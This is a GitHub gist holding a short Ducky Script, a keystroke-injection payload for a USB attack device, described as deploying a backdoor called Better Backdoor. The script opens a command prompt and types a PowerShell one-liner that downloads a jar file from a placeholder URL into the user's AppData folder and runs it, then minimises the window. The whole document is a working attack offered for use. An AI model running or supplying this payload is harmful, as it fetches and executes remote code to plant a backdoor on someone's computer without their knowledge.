Skip to content

Instantly share code, notes, and snippets.

@thatcherclough
Created June 18, 2020 20:43
Show Gist options
  • Save thatcherclough/ca3ee87083dcefc4f659184b46407fc1 to your computer and use it in GitHub Desktop.
Save thatcherclough/ca3ee87083dcefc4f659184b46407fc1 to your computer and use it in GitHub Desktop.
This is a Ducky Script that can be used to deploy Better Backdoor onto a machine. YOUR_URL must be replaced a URL thar is hosting the backdoor jar file (this can be a website or an IP address).
DELAY 1000
GUI R
DELAY 200
STRING cmd
ENTER
DELAY 300
STRING powershell -Command "&{Invoke-WebRequest http://YOUR_URL/run.jar -OutFile C:\Users\$env:UserName\AppData\run.jar; cd C:\Users\$env:UserName\AppData; start C:\Users\$env:UserName\AppData\run.jar; exit}" & exit
ENTER
DELAY 200
GUI DOWN
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment